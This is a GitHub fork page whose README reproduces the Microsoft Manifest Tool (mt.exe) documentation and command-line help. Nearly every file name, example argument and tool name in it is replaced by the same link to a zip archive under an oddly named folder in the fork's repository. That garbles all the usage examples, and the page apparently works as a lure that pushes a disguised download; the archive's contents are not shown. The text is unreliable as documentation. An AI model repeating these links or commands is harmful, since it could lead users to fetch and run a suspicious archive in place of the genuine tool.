Skip to content
/ mt Public
forked from jvincke/mt

MT.EXE - Microsoft Manifest Tool version 6.1.7716.0 - x86+x64

Notifications You must be signed in to change notification settings

adammc769/mt

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Microsoft Manifest Tool version 6.1.7716.0 - x86+x64
From Windows SDK 7.1, bin/ and bin/x64 folders.

Note: Windows SDK 7.1 does not seems to have https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip for x64 architecture (or maybe I've deleted it..) So I've included the (older) version 5.2.3790.2076 for x64, from Windows SDK 7.0, the config file is same from the x86 of Windows 7.1, but you don't need it.

How to use:

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip –manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;1
or
https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip –manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;2

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip(v=vs.85).aspx

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip uses the following case-insensitive command line options.

OptionDescription
-manifest

Specifies the name of the manifest file. To modify a single manifest, specify one manifest file name. For example, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

To merge multiple manifests, specify the names of the source manifests here. Specify the name of the updated manifest with either the -out, -outputresource, or -updateresource options. For example, the following command line requests an operation that merges two manifests, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip and https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, into a new manifest, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

Note No colon (:) is required with the -manifest option.
-identity

Provides the attributes values of the assemblyIdentity element of the manifest. The argument of the -identity option is a string value containing the attribute values in fields separated by commas. Provide the value of the name attribute in the first field, without including a "name=" substring. All the remaining fields specify the attributes and their values using the form: <attribute name>=<attribute_value>.

For example, to update the assemblyIdentity element of the manifest with the following information:

<assemblyIdentity type="win32" name="https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="a5aaf5ba15723d5"/>

include the following -identity option on the command line:

-identity:"https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, processorArchitecture=x86, version=6.0.0.0, type=win32, publicKeyToken=a5aaf5ba15723d5"

-rgs

Specifies the name of the registration script (.rgs) file. The -dll option is required to use the -rgs option.

-tlb

Specifies the name of the type library (.tlb) file. The -dll option is required to use the -tlb option.

-dll

Specifies the name of the dynamic-link library (DLL) file. The -dll option is required by https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip if the -rgs or -tlb options are used. Specify the name of the DLL you intend to eventually build from the .rgs or .tlb files.

For example, the following command requests an operation that generates a manifest from .rgs and .tlb files.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -identity:"https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, processorArchitecture=x86, version=6.0.0.0, type=win32, publicKeyToken=a5aaf5ba15723d5" https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-replacements

Specifies the file that contains values for the replaceable string in the .rgs file.

-managedassemblyname

Generates a manifest from the specified managed assembly. Use with the -nodependency option to generate a manifest without dependency elements. Use with the -category option to generate a manifest with category tags. For example, if https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip is a managed assembly, the following command line generates the https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip from https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-nodependency

Specifies an operation that generates a manifest without dependency elements. The -nodependency option requires the -managedassemblyname option. For example, if https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip is a managed assembly, the following command line generates the https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip from https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip without dependency information.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -nodependency

-category

Specifies an operation that generates a manifest with category tags. The -category option requires the -managedassemblyname option. For example, if https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip is a managed assembly, the following command line generates the https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip from https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip with category tags.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -category

-nologo

Specifies an operation that is run without displaying standard Microsoft copyright data. If https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip runs as part of a build process, this option can be used to prevent writing unwanted information into the log files.

-out

Specifies the name of the updated manifest. If this is a single-manifest operation, and the -out option is omitted, the original manifest is modified.

-inputresource

Specifies an operation performed on a manifest obtained from a resource of type RT_MANIFEST. If the -inputresource option is used without specifying the resource identifier, <resource_id>, the operation uses the value CREATEPROCESS_MANIFEST_RESOURCE.

For example, the following command requests an operation that merges a manifest from a DLL, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, and a manifest file, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip The merged manifests are received by a manifest in the resource file of another DLL, dll_with_merged_manifests.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#3

To extract the manifest from a DLL, specify the DLL file name. For example, the following command extracts the manifest from https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip and https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip receives the extracted manifest.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-outputresource

Specifies an operation that generates a manifest to be received by a resource of type RT_MANIFEST. If the -outputresource option is used without specifying the resource identifier, <resource_id>, the operation uses the value CREATEPROCESS_MANIFEST_RESOURCE.

-updateresource

Specifies an operation that is equivalent to using the -inputresource and -outputresource options with identical arguments. For example, the following command requests an operation that computes a hash of the files at the specified path and updates the manifest of a resource of a portable executable (PE).

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 -hashupdate:f:\files.

-hashupdate

Computes the hash value of the files at the specified paths and updates the value of the hash attribute of the File element with this value.

For example, the following command requests an operation that merges two manifest files, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip and https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, and updates the value of the hash attribute of the File element in the manifest that receives the merged information, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate:d:\filerepository https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

If the paths to the files are not specified, the operation searches location of the manifest specified to receive the update. For example, the following command requests an operation that computes the updated hash value using files found by searching the location of https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-validate_manifest

Specifies an operation that performs a syntax check of the conformance of the manifest with the manifest schema. For example, the following command requests a check to validate the conformance of https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip with its schema.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -validate_manifest

-validate_file_hashes

Specifies an operation that validates the hash values of the File elements of the manifest. For example, the following command requests an operation that validates the hash values of all the File elements of the https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -validate_file_hashes:"c;\files"

-canonicalize

Specifies an operation to update the manifest to canonical form. For example, the following command updates https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip to canonical form.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-check_for_duplicates

Specifies an operation that checks the manifest for duplicate elements. For example, the following command checks https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip for duplicate elements.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -check_for_duplicates

-makecdfs

Generates .cdf files to make catalogs. For example, to the following command requests an operation that updates the hash value and generates a .cdf file.

https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate -makecdfs https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

-verboseDisplays verbose debugging information.
-?When run with -?, or with no options and arguments, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip displays help text.

Command line help:

Microsoft (R) Manifest Tool version 6.1.7716.0
Copyright (c) Microsoft Corporation 2009. 
All rights reserved.
Usage:
-----
mt  
    [ -manifest   ... ]
    [ -identity: ]
    [ < <[-rgs:<.rgs filename>] [-tlb:<.tlb filename>]> -dll: > [ -replacements: ] ] 
    [ -managedassemblyname: [ -nodependency ] ]
    [ -out: ]
    [ -inputresource:[;[#]] ]
    [ -outputresource:[;[#]] ]
    [ -updateresource:[;[#]] ]
    [ -hashupdate[:] ]
    [ -makecdfs ]
    [ -validate_manifest ]
    [ -validate_file_hashes: ]
    [ -canonicalize ]
    [ -check_for_duplicates ]
    [ -nologo ]
Options:
-------
-manifest                  Used to specify manifests that need to be processed.
                           At least one manifest name should follow this option.
                           NOTE: There is no colon(:) after -manifest.
                                    
  ...   
                           Names of manifests to be processed and/or merged.
                           Required if the -manifest option is used.
                           NOTE: More than one manifest automatically indicates
                           a manifest "merge" operation.  In that case, an
                           output specified by one of -out / -outputresource /
                           -updateresource is mandatory.
                                         
-identity:
                           The identity string contains the attributes of the
                           assemblyIdentity element.  The identity string is a
                           set of comma separated name=value pairs starting
                           with the "name" attribute's value.  e.g.:
                           "https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip,
                           processorArchitecture=x86, version=6.0.0.0,
                           type=win32, publicKeyToken=6595b64144ccf1df".
                           NOTE: Only the "name" attribute is not of the form
                           "name=value" and it should be the first attribute in
                           the identity string.
-rgs:                      Takes the name of the .RGS (Registrar script).
-tlb:                      Takes the name of the .TLB (Typelib file).
-dll:                      Takes the name of the DLL: this represents the DLL
                           that is eventually built from the .RGS and .TLB
                           files. Required if either -rgs or -tlb is specified.
-replacements:<.XML filename>           
                           Specifies the file that contains values for
                           replaceable strings in the RGS file.
-managedassemblyname: [ -nodependency ] 
                           Generates a manifest from a managed assembly.
                           -nodependency suppresses the generation
                           of dependency elements in the final manifest.
                                         
-out: 
                           Name of the output manifest.  If this is skipped
                           and only one manifest is being operated upon by the
                           tool, that manifest is modified in place.
-inputresource:[;[#]]
                           Input the manifest from a resource of type
                           RT_MANIFEST with the specified id.
                           resource_id is restricted to be a non-negative,
                           16 bit number.
                           resource_id is optional and defaults to
                           CREATEPROCESS_MANIFEST_RESOURCE_ID (winuser.h).
-outputresource:[;[#]]
                           Output the manifest to a resource of type
                           RT_MANIFEST with the specified id.
                           resource_id is restricted to be a non-negative,
                           16 bit number.
                           resource_id is optional and defaults to
                           CREATEPROCESS_MANIFEST_RESOURCE_ID (winuser.h).
-updateresource:[;[#]]
                           Equivalent to specifying both -inputresource and
                           -ouputresource with identical parameters.
                           resource_id is restricted to be a non-negative,
                           16 bit number.
-hashupdate:         
                           Computes the hash of files specified in the file
                           elements and updates the hash attribute with this
                           value.  The searchpath for the actual files
                           specified in the file elements is specified
                           explicitly.  If  is not
                           specified, the searchpath defaults to the location
                           of the output manifest.
-makecdfs                  Generates Catalog Definition Files (.cdf) - used to
                           make catalogs.
                                    
-validate_manifest         Validates to check syntactic correctness of a
                           manifest and its conformance to the manifest schema.
-validate_file_hashes: 
                           Validates the hash values of all the file elements.
                                        
-canonicalize              Does a C14N canonicalization of the output manifest
                           contents.
-check_for_duplicates      Performs a check to see if the final manifest
                           contains duplicate elements.
-nologo                    Runs without displaying standard Microsoft copyright
                           data. This may be used to suppress unwanted output
                           in log files when running mt as part of a build
                           process or from a build environment.
Samples:
-------

> To update the hash of an XML manifest:
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To update the hash of an XML manifest while simultaneously producing the .cdf file:
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate -makecdfs https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To merge two manifests:
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To merge two manifests and finally update the hash to produce the final merged manifest. 

> Note: The searchpath for the actual files specified in the file elements is specified explicitly.
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -hashupdate:d:\filerepository https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To generate a manifest from an RGS and/or TLB file:
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -identity:"type=win32, https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip, version=6.0.0.0, processorArchitecture=x86, publicKeyToken=6595b64144ccf1df" https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To generate an XML manifest from a managed assembly:
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To suppress dependencies:
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -nodependency https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To extract manifest out of a dll:
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip

> To merge two manifests, one of them embedded in a dll, and embedding final merged manifest into another dll's resource:
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#3

> To update the manifest in a PE's resource (by updating the hashes of the file elements): 
mt https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip;#1 -hashupdate:f:\files

> To validate the hash values of all the file elements:
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -validate_file_hashes:"c:\files"

> To validate a manifest (i.e., to see if it conforms to the manifest schema):
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -validate_manifest

> To do a C14N canonicalization of a manifest (in order to get rid of spurious namespace prefixes (like "dsig")):
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -canonicalize

> To check for duplicate elements in a manifest:
mt -manifest https://raw.githubusercontent.com/adammc769/mt/master/ungroundably/mt.zip -check_for_duplicates

About

MT.EXE - Microsoft Manifest Tool version 6.1.7716.0 - x86+x64

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published